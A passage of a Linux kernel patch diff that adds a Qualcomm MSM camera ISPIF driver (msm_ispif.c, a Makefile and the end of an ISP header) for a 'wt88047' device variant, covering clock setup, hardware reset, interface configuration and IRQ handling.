msm_isp_pack_fmt msm_isp_get_pack_format(uint32_t output_format); +irqreturn_t msm_isp_process_irq(int irq_num, void *data); +int msm_isp_set_src_state(struct vfe_device *vfe_dev, void *arg); +void msm_isp_do_tasklet(unsigned long data); +void msm_isp_update_error_frame_count(struct vfe_device *vfe_dev); +void msm_isp_process_error_info(struct vfe_device *vfe_dev); +int msm_isp_open_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh); +int msm_isp_close_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh); +long msm_isp_ioctl(struct v4l2_subdev *sd, unsigned int cmd, void *arg); +int msm_isp_proc_cmd_list(struct vfe_device *vfe_dev, void *arg); +int msm_isp_get_clk_info(struct vfe_device *vfe_dev, + struct platform_device *pdev, struct msm_cam_clk_info *vfe_clk_info); + +#endif /* __MSM_ISP_UTIL_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile new file mode 100644 index 0000000000000..443911f3bcccb --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile @@ -0,0 +1,3 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +obj-$(CONFIG_MSM_CSID) += msm_ispif.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.c b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.c new file mode 100644 index 0000000000000..744f882136dcf --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.c @@ -0,0 +1,1368 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "msm_ispif.h" +#include "msm.h" +#include "msm_sd.h" +#include "msm_camera_io_util.h" + +#ifdef CONFIG_MSM_ISPIF_V1 +#include "msm_ispif_hwreg_v1.h" +#else +#include "msm_ispif_hwreg_v2.h" +#endif + +#define V4L2_IDENT_ISPIF 50001 +#define MSM_ISPIF_DRV_NAME "msm_ispif" + +#define ISPIF_INTF_CMD_DISABLE_FRAME_BOUNDARY 0x00 +#define ISPIF_INTF_CMD_ENABLE_FRAME_BOUNDARY 0x01 +#define ISPIF_INTF_CMD_DISABLE_IMMEDIATELY 0x02 + +#define ISPIF_TIMEOUT_SLEEP_US 1000 +#define ISPIF_TIMEOUT_ALL_US 1000000 + +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_debug(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +static void msm_ispif_io_dump_reg(struct ispif_device *ispif) +{ + if (!ispif->enb_dump_reg) + return; + msm_camera_io_dump(ispif->base, 0x250); +} + + +static inline int msm_ispif_is_intf_valid(uint32_t csid_version, + uint8_t intf_type) +{ + return (csid_version <= CSID_VERSION_V22 && intf_type != VFE0) ? + false : true; +} + +static struct msm_cam_clk_info ispif_8626_reset_clk_info[] = { + {"ispif_ahb_clk", NO_SET_RATE}, + {"camss_top_ahb_clk", NO_SET_RATE}, + {"csi0_ahb_clk", NO_SET_RATE}, + {"csi0_src_clk", NO_SET_RATE}, + {"csi0_phy_clk", NO_SET_RATE}, + {"csi0_clk", NO_SET_RATE}, + {"csi0_pix_clk", NO_SET_RATE}, + {"csi0_rdi_clk", NO_SET_RATE}, + {"csi1_ahb_clk", NO_SET_RATE}, + {"csi1_src_clk", NO_SET_RATE}, + {"csi1_phy_clk", NO_SET_RATE}, + {"csi1_clk", NO_SET_RATE}, + {"csi1_pix_clk", NO_SET_RATE}, + {"csi1_rdi_clk", NO_SET_RATE}, + {"camss_vfe_vfe_clk", NO_SET_RATE}, + {"camss_csi_vfe_clk", NO_SET_RATE}, +}; + +static struct msm_cam_clk_info ispif_8974_ahb_clk_info[ISPIF_CLK_INFO_MAX]; + +static struct msm_cam_clk_info ispif_8974_reset_clk_info[] = { + {"csi0_src_clk", INIT_RATE}, + {"csi0_clk", NO_SET_RATE}, + {"csi0_pix_clk", NO_SET_RATE}, + {"csi0_rdi_clk", NO_SET_RATE}, + {"csi1_src_clk", INIT_RATE}, + {"csi1_clk", NO_SET_RATE}, + {"csi1_pix_clk", NO_SET_RATE}, + {"csi1_rdi_clk", NO_SET_RATE}, + {"csi2_src_clk", INIT_RATE}, + {"csi2_clk", NO_SET_RATE}, + {"csi2_pix_clk", NO_SET_RATE}, + {"csi2_rdi_clk", NO_SET_RATE}, + {"csi3_src_clk", INIT_RATE}, + {"csi3_clk", NO_SET_RATE}, + {"csi3_pix_clk", NO_SET_RATE}, + {"csi3_rdi_clk", NO_SET_RATE}, + {"vfe0_clk_src", INIT_RATE}, + {"camss_vfe_vfe0_clk", NO_SET_RATE}, + {"camss_csi_vfe0_clk", NO_SET_RATE}, + {"vfe1_clk_src", INIT_RATE}, + {"camss_vfe_vfe1_clk", NO_SET_RATE}, + {"camss_csi_vfe1_clk", NO_SET_RATE}, +}; + +static int msm_ispif_reset_hw(struct ispif_device *ispif) +{ + int rc = 0; + long timeout = 0; + struct clk *reset_clk[ARRAY_SIZE(ispif_8974_reset_clk_info)]; + struct clk *reset_clk1[ARRAY_SIZE(ispif_8626_reset_clk_info)]; + ispif->clk_idx = 0; + + rc = msm_cam_clk_enable(&ispif->pdev->dev, + ispif_8974_reset_clk_info, reset_clk, + ARRAY_SIZE(ispif_8974_reset_clk_info), 1); + if (rc < 0) { + rc = msm_cam_clk_enable(&ispif->pdev->dev, + ispif_8626_reset_clk_info, reset_clk1, + ARRAY_SIZE(ispif_8626_reset_clk_info), 1); + if (rc < 0) { + pr_err("%s: cannot enable clock, error = %d", + __func__, rc); + } else { + /* This is set when device is 8x26 */ + ispif->clk_idx = 2; + } + } else { + /* This is set when device is 8974 */ + ispif->clk_idx = 1; + } + + init_completion(&ispif->reset_complete[VFE0]); + if (ispif->hw_num_isps > 1) + init_completion(&ispif->reset_complete[VFE1]); + + /* initiate reset of ISPIF */ + msm_camera_io_w(ISPIF_RST_CMD_MASK, + ispif->base + ISPIF_RST_CMD_ADDR); + if (ispif->hw_num_isps > 1) + msm_camera_io_w(ISPIF_RST_CMD_1_MASK, + ispif->base + ISPIF_RST_CMD_1_ADDR); + + timeout = wait_for_completion_timeout( + &ispif->reset_complete[VFE0], msecs_to_jiffies(500)); + CDBG("%s: VFE0 done\n", __func__); + + if (timeout <= 0) { + pr_err("%s: VFE0 reset wait timeout\n", __func__); + rc = msm_cam_clk_enable(&ispif->pdev->dev, + ispif_8974_reset_clk_info, reset_clk, + ARRAY_SIZE(ispif_8974_reset_clk_info), 0); + if (rc < 0) { + rc = msm_cam_clk_enable(&ispif->pdev->dev, + ispif_8626_reset_clk_info, reset_clk1, + ARRAY_SIZE(ispif_8626_reset_clk_info), 0); + if (rc < 0) + pr_err("%s: VFE0 reset wait timeout\n", + __func__); + } + return -ETIMEDOUT; + } + + if (ispif->hw_num_isps > 1) { + timeout = wait_for_completion_timeout( + &ispif->reset_complete[VFE1], + msecs_to_jiffies(500)); + CDBG("%s: VFE1 done\n", __func__); + if (timeout <= 0) { + pr_err("%s: VFE1 reset wait timeout\n", __func__); + msm_cam_clk_enable(&ispif->pdev->dev, + ispif_8974_reset_clk_info, reset_clk, + ARRAY_SIZE(ispif_8974_reset_clk_info), 0); + return -ETIMEDOUT; + } + } + + if (ispif->clk_idx == 1) { + rc = msm_cam_clk_enable(&ispif->pdev->dev, + ispif_8974_reset_clk_info, reset_clk, + ARRAY_SIZE(ispif_8974_reset_clk_info), 0); + if (rc < 0) { + pr_err("%s: cannot disable clock, error = %d", + __func__, rc); + } + } + + if (ispif->clk_idx == 2) { + rc = msm_cam_clk_enable(&ispif->pdev->dev, + ispif_8626_reset_clk_info, reset_clk1, + ARRAY_SIZE(ispif_8626_reset_clk_info), 0); + if (rc < 0) { + pr_err("%s: cannot disable clock, error = %d", + __func__, rc); + } + } + + return rc; +} + +int msm_ispif_get_ahb_clk_info(struct ispif_device *ispif_dev, + struct platform_device *pdev) +{ + uint32_t count; + int i, rc; + uint32_t rates[ISPIF_CLK_INFO_MAX]; + + struct device_node *of_node; + of_node = pdev->dev.of_node; + + count = of_property_count_strings(of_node, "clock-names"); + + CDBG("count = %d\n", count); + if (count == 0) { + pr_err("no clocks found in device tree, count=%d", count); + return 0; + } + + count = ISPIF_AHB_CLK_INFO; + if (count > ISPIF_CLK_INFO_MAX) { + pr_err("invalid count=%d, max is %d\n", count, + ISPIF_CLK_INFO_MAX); + return -EINVAL; + } + + for (i = 0; i < count; i++) { + rc = of_property_read_string_index(of_node, "clock-names", + i, &(ispif_8974_ahb_clk_info[i].clk_name)); + CDBG("clock-names[%d] = %s\n", + i, ispif_8974_ahb_clk_info[i].clk_name); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + return rc; + } + } + rc = of_property_read_u32_array(of_node, "qcom,clock-rates", + rates, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + return rc; + } + for (i = 0; i < count; i++) { + ispif_8974_ahb_clk_info[i].clk_rate = + (rates[i] == 0) ? -1 : rates[i]; + CDBG("clk_rate[%d] = %ld\n", i, + ispif_8974_ahb_clk_info[i].clk_rate); + } + ispif_dev->num_clk = count; + return 0; +} + +static int msm_ispif_clk_ahb_enable(struct ispif_device *ispif, int enable) +{ + int rc = 0; + + if (ispif->csid_version < CSID_VERSION_V30) { + /* Older ISPIF versiond don't need ahb clokc */ + return 0; + } + + rc = msm_ispif_get_ahb_clk_info(ispif, ispif->pdev); + if (rc < 0) { + pr_err("%s: msm_isp_get_clk_info() failed", __func__); + return -EFAULT; + } + + rc = msm_cam_clk_enable(&ispif->pdev->dev, + ispif_8974_ahb_clk_info, ispif->ahb_clk, + ispif->num_clk, enable); + if (rc < 0) { + pr_err("%s: cannot enable clock, error = %d", + __func__, rc); + } + + return rc; +} + +static int msm_ispif_reset(struct ispif_device *ispif) +{ + int rc = 0; + int i; + + BUG_ON(!ispif); + + memset(ispif->sof_count, 0, sizeof(ispif->sof_count)); + for (i = 0; i < ispif->vfe_info.num_vfe; i++) { + + msm_camera_io_w(1 << PIX0_LINE_BUF_EN_BIT, + ispif->base + ISPIF_VFE_m_CTRL_0(i)); + msm_camera_io_w(0, ispif->base + ISPIF_VFE_m_IRQ_MASK_0(i)); + msm_camera_io_w(0, ispif->base + ISPIF_VFE_m_IRQ_MASK_1(i)); + msm_camera_io_w(0, ispif->base + ISPIF_VFE_m_IRQ_MASK_2(i)); + msm_camera_io_w(0xFFFFFFFF, ispif->base + + ISPIF_VFE_m_IRQ_CLEAR_0(i)); + msm_camera_io_w(0xFFFFFFFF, ispif->base + + ISPIF_VFE_m_IRQ_CLEAR_1(i)); + msm_camera_io_w(0xFFFFFFFF, ispif->base + + ISPIF_VFE_m_IRQ_CLEAR_2(i)); + + msm_camera_io_w(0, ispif->base + ISPIF_VFE_m_INPUT_SEL(i)); + + msm_camera_io_w(ISPIF_STOP_INTF_IMMEDIATELY, + ispif->base + ISPIF_VFE_m_INTF_CMD_0(i)); + msm_camera_io_w(ISPIF_STOP_INTF_IMMEDIATELY, + ispif->base + ISPIF_VFE_m_INTF_CMD_1(i)); + pr_debug("%s: base %lx", __func__, (unsigned long)ispif->base); + msm_camera_io_w(0, ispif->base + + ISPIF_VFE_m_PIX_INTF_n_CID_MASK(i, 0)); + msm_camera_io_w(0, ispif->base + + ISPIF_VFE_m_PIX_INTF_n_CID_MASK(i, 1)); + msm_camera_io_w(0, ispif->base + + ISPIF_VFE_m_RDI_INTF_n_CID_MASK(i, 0)); + msm_camera_io_w(0, ispif->base + + ISPIF_VFE_m_RDI_INTF_n_CID_MASK(i, 1)); + msm_camera_io_w(0, ispif->base + + ISPIF_VFE_m_RDI_INTF_n_CID_MASK(i, 2)); + + msm_camera_io_w(0, ispif->base + + ISPIF_VFE_m_PIX_INTF_n_CROP(i, 0)); + msm_camera_io_w(0, ispif->base + + ISPIF_VFE_m_PIX_INTF_n_CROP(i, 1)); + } + + msm_camera_io_w_mb(ISPIF_IRQ_GLOBAL_CLEAR_CMD, ispif->base + + ISPIF_IRQ_GLOBAL_CLEAR_CMD_ADDR); + + return rc; +} + +static int msm_ispif_subdev_g_chip_ident(struct v4l2_subdev *sd, + struct v4l2_dbg_chip_ident *chip) +{ + BUG_ON(!chip); + chip->ident = V4L2_IDENT_ISPIF; + chip->revision = 0; + return 0; +} + +static void msm_ispif_sel_csid_core(struct ispif_device *ispif, + uint8_t intftype, uint8_t csid, uint8_t vfe_intf) +{ + uint32_t data; + + BUG_ON(!ispif); + + if (!msm_ispif_is_intf_valid(ispif->csid_version, vfe_intf)) { + pr_err("%s: invalid interface type\n", __func__); + return; + } + + data = msm_camera_io_r(ispif->base + ISPIF_VFE_m_INPUT_SEL(vfe_intf)); + switch (intftype) { + case PIX0: + data &= ~(BIT(1) | BIT(0)); + data |= csid; + break; + case RDI0: + data &= ~(BIT(5) | BIT(4)); + data |= (csid << 4); + break; + case PIX1: + data &= ~(BIT(9) | BIT(8)); + data |= (csid << 8); + break; + case RDI1: + data &= ~(BIT(13) | BIT(12)); + data |= (csid << 12); + break; + case RDI2: + data &= ~(BIT(21) | BIT(20)); + data |= (csid << 20); + break; + } + + msm_camera_io_w_mb(data, ispif->base + + ISPIF_VFE_m_INPUT_SEL(vfe_intf)); +} + +static void msm_ispif_enable_crop(struct ispif_device *ispif, + uint8_t intftype, uint8_t vfe_intf, uint16_t start_pixel, + uint16_t end_pixel) +{ + uint32_t data; + BUG_ON(!ispif); + + if (!msm_ispif_is_intf_valid(ispif->csid_version, vfe_intf)) { + pr_err("%s: invalid interface type\n", __func__); + return; + } + + data = msm_camera_io_r(ispif->base + ISPIF_VFE_m_CTRL_0(vfe_intf)); + data |= (1 << (intftype + 7)); + if (intftype == PIX0) + data |= 1 << PIX0_LINE_BUF_EN_BIT; + msm_camera_io_w(data, + ispif->base + ISPIF_VFE_m_CTRL_0(vfe_intf)); + + if (intftype == PIX0) + msm_camera_io_w_mb(start_pixel | (end_pixel << 16), + ispif->base + ISPIF_VFE_m_PIX_INTF_n_CROP(vfe_intf, 0)); + else if (intftype == PIX1) + msm_camera_io_w_mb(start_pixel | (end_pixel << 16), + ispif->base + ISPIF_VFE_m_PIX_INTF_n_CROP(vfe_intf, 1)); + else { + pr_err("%s: invalid intftype=%d\n", __func__, intftype); + BUG_ON(1); + return; + } +} + +static void msm_ispif_enable_intf_cids(struct ispif_device *ispif, + uint8_t intftype, uint16_t cid_mask, uint8_t vfe_intf, uint8_t enable) +{ + uint32_t intf_addr, data; + + BUG_ON(!ispif); + + if (!msm_ispif_is_intf_valid(ispif->csid_version, vfe_intf)) { + pr_err("%s: invalid interface type\n", __func__); + return; + } + + switch (intftype) { + case PIX0: + intf_addr = ISPIF_VFE_m_PIX_INTF_n_CID_MASK(vfe_intf, 0); + break; + case RDI0: + intf_addr = ISPIF_VFE_m_RDI_INTF_n_CID_MASK(vfe_intf, 0); + break; + case PIX1: + intf_addr = ISPIF_VFE_m_PIX_INTF_n_CID_MASK(vfe_intf, 1); + break; + case RDI1: + intf_addr = ISPIF_VFE_m_RDI_INTF_n_CID_MASK(vfe_intf, 1); + break; + case RDI2: + intf_addr = ISPIF_VFE_m_RDI_INTF_n_CID_MASK(vfe_intf, 2); + break; + default: + pr_err("%s: invalid intftype=%d\n", __func__, intftype); + BUG_ON(1); + return; + } + + data = msm_camera_io_r(ispif->base + intf_addr); + if (enable) + data |= cid_mask; + else + data &= ~cid_mask; + msm_camera_io_w_mb(data, ispif->base + intf_addr); +} + +static int msm_ispif_validate_intf_status(struct ispif_device *ispif, + uint8_t intftype, uint8_t vfe_intf) +{ + int rc = 0; + uint32_t data = 0; + + BUG_ON(!ispif); + + if (!msm_ispif_is_intf_valid(ispif->csid_version, vfe_intf)) { + pr_err("%s: invalid interface type\n", __func__); + return -EINVAL; + } + + switch (intftype) { + case PIX0: + data = msm_camera_io_r(ispif->base + + ISPIF_VFE_m_PIX_INTF_n_STATUS(vfe_intf, 0)); + break; + case RDI0: + data = msm_camera_io_r(ispif->base + + ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 0)); + break; + case PIX1: + data = msm_camera_io_r(ispif->base + + ISPIF_VFE_m_PIX_INTF_n_STATUS(vfe_intf, 1)); + break; + case RDI1: + data = msm_camera_io_r(ispif->base + + ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 1)); + break; + case RDI2: + data = msm_camera_io_r(ispif->base + + ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 2)); + break; + } + if ((data & 0xf) != 0xf) + rc = -EBUSY; + return rc; +} + +static void msm_ispif_select_clk_mux(struct ispif_device *ispif, + uint8_t intftype, uint8_t csid, uint8_t vfe_intf) +{ + uint32_t data = 0; + + switch (intftype) { + case PIX0: + data = msm_camera_io_r(ispif->clk_mux_base); + data &= ~(0xf << (vfe_intf * 8)); + data |= (csid << (vfe_intf * 8)); + msm_camera_io_w(data, ispif->clk_mux_base); + break; + + case RDI0: + data = msm_camera_io_r(ispif->clk_mux_base + + ISPIF_RDI_CLK_MUX_SEL_ADDR); + data &= ~(0xf << (vfe_intf * 12)); + data |= (csid << (vfe_intf * 12)); + msm_camera_io_w(data, ispif->clk_mux_base + + ISPIF_RDI_CLK_MUX_SEL_ADDR); + break; + + case PIX1: + data = msm_camera_io_r(ispif->clk_mux_base); + data &= ~(0xf0 << (vfe_intf * 8)); + data |= (csid << (4 + (vfe_intf * 8))); + msm_camera_io_w(data, ispif->clk_mux_base); + break; + + case RDI1: + data = msm_camera_io_r(ispif->clk_mux_base + + ISPIF_RDI_CLK_MUX_SEL_ADDR); + data &= ~(0xf << (4 + (vfe_intf * 12))); + data |= (csid << (4 + (vfe_intf * 12))); + msm_camera_io_w(data, ispif->clk_mux_base + + ISPIF_RDI_CLK_MUX_SEL_ADDR); + break; + + case RDI2: + data = msm_camera_io_r(ispif->clk_mux_base + + ISPIF_RDI_CLK_MUX_SEL_ADDR); + data &= ~(0xf << (8 + (vfe_intf * 12))); + data |= (csid << (8 + (vfe_intf * 12))); + msm_camera_io_w(data, ispif->clk_mux_base + + ISPIF_RDI_CLK_MUX_SEL_ADDR); + break; + } + CDBG("%s intftype %d data %x\n", __func__, intftype, data); + mb(); + return; +} + +static uint16_t msm_ispif_get_cids_mask_from_cfg( + struct msm_ispif_params_entry *entry) +{ + int i; + uint16_t cids_mask = 0; + + BUG_ON(!entry); + + for (i = 0; i < entry->num_cids; i++) + cids_mask |= (1 << entry->cids[i]); + + return cids_mask; +} + +static int msm_ispif_config(struct ispif_device *ispif, + struct msm_ispif_param_data *params) +{ + int rc = 0, i = 0; + uint16_t cid_mask; + enum msm_ispif_intftype intftype; + enum msm_ispif_vfe_intf vfe_intf; + + BUG_ON(!ispif); + BUG_ON(!params); + + if (ispif->ispif_state != ISPIF_POWER_UP) { + pr_err("%s: ispif invalid state %d\n", __func__, + ispif->ispif_state); + rc = -EPERM; + return rc; + } + if (params->num > MAX_PARAM_ENTRIES) { + pr_err("%s: invalid param entries %d\n", __func__, + params->num); + rc = -EINVAL; + return rc; + } + + for (i = 0; i < params->num; i++) { + vfe_intf = params->entries[i].vfe_intf; + if (!msm_ispif_is_intf_valid(ispif->csid_version, + vfe_intf)) { + pr_err("%s: invalid interface type\n", __func__); + return -EINVAL; + } + msm_camera_io_w(0x0, ispif->base + + ISPIF_VFE_m_IRQ_MASK_0(vfe_intf)); + msm_camera_io_w(0x0, ispif->base + + ISPIF_VFE_m_IRQ_MASK_1(vfe_intf)); + msm_camera_io_w_mb(0x0, ispif->base + + ISPIF_VFE_m_IRQ_MASK_2(vfe_intf)); + } + + for (i = 0; i < params->num; i++) { + intftype = params->entries[i].intftype; + + vfe_intf = params->entries[i].vfe_intf; + + CDBG("%s intftype %x, vfe_intf %d, csid %d\n", __func__, + intftype, vfe_intf, params->entries[i].csid); + + if ((intftype >= INTF_MAX) || + (vfe_intf >= ispif->vfe_info.num_vfe) || + (ispif->csid_version <= CSID_VERSION_V22 && + (vfe_intf > VFE0))) { + pr_err("%s: VFEID %d and CSID version %d mismatch\n", + __func__, vfe_intf, ispif->csid_version); + return -EINVAL; + } + + if (ispif->csid_version >= CSID_VERSION_V30) + msm_ispif_select_clk_mux(ispif, intftype, + params->entries[i].csid, vfe_intf); + + rc = msm_ispif_validate_intf_status(ispif, intftype, vfe_intf); + if (rc) { + pr_err("%s:validate_intf_status failed, rc = %d\n", + __func__, rc); + return rc; + } + + msm_ispif_sel_csid_core(ispif, intftype, + params->entries[i].csid, vfe_intf); + cid_mask = msm_ispif_get_cids_mask_from_cfg( + ¶ms->entries[i]); + msm_ispif_enable_intf_cids(ispif, intftype, + cid_mask, vfe_intf, 1); + if (params->entries[i].crop_enable) + msm_ispif_enable_crop(ispif, intftype, vfe_intf, + params->entries[i].crop_start_pixel, + params->entries[i].crop_end_pixel); + } + + for (vfe_intf = 0; vfe_intf < 2; vfe_intf++) { + msm_camera_io_w(ISPIF_IRQ_STATUS_MASK, ispif->base + + ISPIF_VFE_m_IRQ_MASK_0(vfe_intf)); + + msm_camera_io_w(ISPIF_IRQ_STATUS_MASK, ispif->base + + ISPIF_VFE_m_IRQ_CLEAR_0(vfe_intf)); + + msm_camera_io_w(ISPIF_IRQ_STATUS_1_MASK, ispif->base + + ISPIF_VFE_m_IRQ_MASK_1(vfe_intf)); + + msm_camera_io_w(ISPIF_IRQ_STATUS_1_MASK, ispif->base + + ISPIF_VFE_m_IRQ_CLEAR_1(vfe_intf)); + + msm_camera_io_w(ISPIF_IRQ_STATUS_2_MASK, ispif->base + + ISPIF_VFE_m_IRQ_MASK_2(vfe_intf)); + + msm_camera_io_w(ISPIF_IRQ_STATUS_2_MASK, ispif->base + + ISPIF_VFE_m_IRQ_CLEAR_2(vfe_intf)); + } + + msm_camera_io_w_mb(ISPIF_IRQ_GLOBAL_CLEAR_CMD, ispif->base + + ISPIF_IRQ_GLOBAL_CLEAR_CMD_ADDR); + + return rc; +} + +static void msm_ispif_intf_cmd(struct ispif_device *ispif, uint32_t cmd_bits, + struct msm_ispif_param_data *params) +{ + uint8_t vc; + int i, k; + enum msm_ispif_intftype intf_type; + enum msm_ispif_cid cid; + enum msm_ispif_vfe_intf vfe_intf; + + BUG_ON(!ispif); + BUG_ON(!params); + + for (i = 0; i < params->num; i++) { + vfe_intf = params->entries[i].vfe_intf; + if (!msm_ispif_is_intf_valid(ispif->csid_version, vfe_intf)) { + pr_err("%s: invalid interface type\n", __func__); + return; + } + if (params->entries[i].num_cids > MAX_CID_CH) { + pr_err("%s: out of range of cid_num %d\n", + __func__, params->entries[i].num_cids); + return; + } + } + + for (i = 0; i < params->num; i++) { + intf_type = params->entries[i].intftype; + vfe_intf = params->entries[i].vfe_intf; + for (k = 0; k < params->entries[i].num_cids; k++) { + cid = params->entries[i].cids[k]; + vc = cid / 4; + if (intf_type == RDI2) { + /* zero out two bits */ + ispif->applied_intf_cmd[vfe_intf].intf_cmd1 &= + ~(0x3 << (vc * 2 + 8)); + /* set cmd bits */ + ispif->applied_intf_cmd[vfe_intf].intf_cmd1 |= + (cmd_bits << (vc * 2 + 8)); + } else { + /* zero 2 bits */ + ispif->applied_intf_cmd[vfe_intf].intf_cmd &= + ~(0x3 << (vc * 2 + intf_type * 8)); + /* set cmd bits */ + ispif->applied_intf_cmd[vfe_intf].intf_cmd |= + (cmd_bits << (vc * 2 + intf_type * 8)); + } + } + + /* cmd for PIX0, PIX1, RDI0, RDI1 */ + if (ispif->applied_intf_cmd[vfe_intf].intf_cmd != 0xFFFFFFFF) + msm_camera_io_w_mb( + ispif->applied_intf_cmd[vfe_intf].intf_cmd, + ispif->base + ISPIF_VFE_m_INTF_CMD_0(vfe_intf)); + + /* cmd for RDI2 */ + if (ispif->applied_intf_cmd[vfe_intf].intf_cmd1 != 0xFFFFFFFF) + msm_camera_io_w_mb( + ispif->applied_intf_cmd[vfe_intf].intf_cmd1, + ispif->base + ISPIF_VFE_m_INTF_CMD_1(vfe_intf)); + } +} + +static int msm_ispif_stop_immediately(struct ispif_device *ispif, + struct msm_ispif_param_data *params) +{ + int i, rc = 0; + uint16_t cid_mask = 0; + + BUG_ON(!ispif); + BUG_ON(!params); + + if (ispif->ispif_state != ISPIF_POWER_UP) { + pr_err("%s: ispif invalid state %d\n", __func__, + ispif->ispif_state); + rc = -EPERM; + return rc; + } + + if (params->num > MAX_PARAM_ENTRIES) { + pr_err("%s: invalid param entries %d\n", __func__, + params->num); + rc = -EINVAL; + return rc; + } + msm_ispif_intf_cmd(ispif, ISPIF_INTF_CMD_DISABLE_IMMEDIATELY, params); + + /* after stop the interface we need to unmask the CID enable bits */ + for (i = 0; i < params->num; i++) { + cid_mask = msm_ispif_get_cids_mask_from_cfg( + ¶ms->entries[i]); + msm_ispif_enable_intf_cids(ispif, params->entries[i].intftype, + cid_mask, params->entries[i].vfe_intf, 0); + } + + return rc; +} + +static int msm_ispif_start_frame_boundary(struct ispif_device *ispif, + struct msm_ispif_param_data *params) +{ + int rc = 0; + + if (ispif->ispif_state != ISPIF_POWER_UP) { + pr_err("%s: ispif invalid state %d\n", __func__, + ispif->ispif_state); + rc = -EPERM; + return rc; + } + if (params->num > MAX_PARAM_ENTRIES) { + pr_err("%s: invalid param entries %d\n", __func__, + params->num); + rc = -EINVAL; + return rc; + } + + msm_ispif_intf_cmd(ispif, ISPIF_INTF_CMD_ENABLE_FRAME_BOUNDARY, params); + + return rc; +} + +static int msm_ispif_stop_frame_boundary(struct ispif_device *ispif, + struct msm_ispif_param_data *params) +{ + int i, rc = 0; + uint16_t cid_mask = 0; + uint32_t intf_addr; + enum msm_ispif_vfe_intf vfe_intf; + uint32_t stop_flag = 0; + + BUG_ON(!ispif); + BUG_ON(!params); + + + if (ispif->ispif_state != ISPIF_POWER_UP) { + pr_err("%s: ispif invalid state %d\n", __func__, + ispif->ispif_state); + rc = -EPERM; + return rc; + } + + if (params->num > MAX_PARAM_ENTRIES) { + pr_err("%s: invalid param entries %d\n", __func__, + params->num); + rc = -EINVAL; + return rc; + } + + for (i = 0; i < params->num; i++) { + if (!msm_ispif_is_intf_valid(ispif->csid_version, + params->entries[i].vfe_intf)) { + pr_err("%s: invalid interface type\n", __func__); + rc = -EINVAL; + goto end; + } + } + + msm_ispif_intf_cmd(ispif, + ISPIF_INTF_CMD_DISABLE_FRAME_BOUNDARY, params); + + for (i = 0; i < params->num; i++) { + cid_mask = + msm_ispif_get_cids_mask_from_cfg(¶ms->entries[i]); + vfe_intf = params->entries[i].vfe_intf; + + switch (params->entries[i].intftype) { + case PIX0: + intf_addr = ISPIF_VFE_m_PIX_INTF_n_STATUS(vfe_intf, 0); + break; + case RDI0: + intf_addr = ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 0); + break; + case PIX1: + intf_addr = ISPIF_VFE_m_PIX_INTF_n_STATUS(vfe_intf, 1); + break; + case RDI1: + intf_addr = ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 1); + break; + case RDI2: + intf_addr = ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 2); + break; + default: + pr_err("%s: invalid intftype=%d\n", __func__, + params->entries[i].intftype); + rc = -EPERM; + goto end; + } + + rc = readl_poll_timeout(ispif->base + intf_addr, stop_flag, + (stop_flag & 0xF) == 0xF, + ISPIF_TIMEOUT_SLEEP_US, + ISPIF_TIMEOUT_ALL_US); + if (rc < 0) + goto end; + + /* disable CIDs in CID_MASK register */ + msm_ispif_enable_intf_cids(ispif, params->entries[i].intftype, + cid_mask, vfe_intf, 0); + } + +end: + return rc; +} + +static void ispif_process_irq(struct ispif_device *ispif, + struct ispif_irq_status *out, enum msm_ispif_vfe_intf vfe_id) +{ + BUG_ON(!ispif); + BUG_ON(!out); + + if (out[vfe_id].ispifIrqStatus0 & + ISPIF_IRQ_STATUS_PIX_SOF_MASK) { + ispif->sof_count[vfe_id].sof_cnt[PIX0]++; + } + if (out[vfe_id].ispifIrqStatus0 & + ISPIF_IRQ_STATUS_RDI0_SOF_MASK) { + ispif->sof_count[vfe_id].sof_cnt[RDI0]++; + } + if (out[vfe_id].ispifIrqStatus1 & + ISPIF_IRQ_STATUS_RDI1_SOF_MASK) { + ispif->sof_count[vfe_id].sof_cnt[RDI1]++; + } + if (out[vfe_id].ispifIrqStatus2 & + ISPIF_IRQ_STATUS_RDI2_SOF_MASK) { + ispif->sof_count[vfe_id].sof_cnt[RDI2]++; + } +} + +static inline void msm_ispif_read_irq_status(struct ispif_irq_status *out, + void *data) +{ + struct ispif_device *ispif = (struct ispif_device *)data; + + BUG_ON(!ispif); + BUG_ON(!out); + + out[VFE0].ispifIrqStatus0 = msm_camera_io_r(ispif->base + + ISPIF_VFE_m_IRQ_STATUS_0(VFE0)); + msm_camera_io_w(out[VFE0].ispifIrqStatus0, + ispif->base + ISPIF_VFE_m_IRQ_CLEAR_0(VFE0)); + + out[VFE0].ispifIrqStatus1 = msm_camera_io_r(ispif->base + + ISPIF_VFE_m_IRQ_STATUS_1(VFE0)); + msm_camera_io_w(out[VFE0].ispifIrqStatus1, + ispif->base + ISPIF_VFE_m_IRQ_CLEAR_1(VFE0)); + + 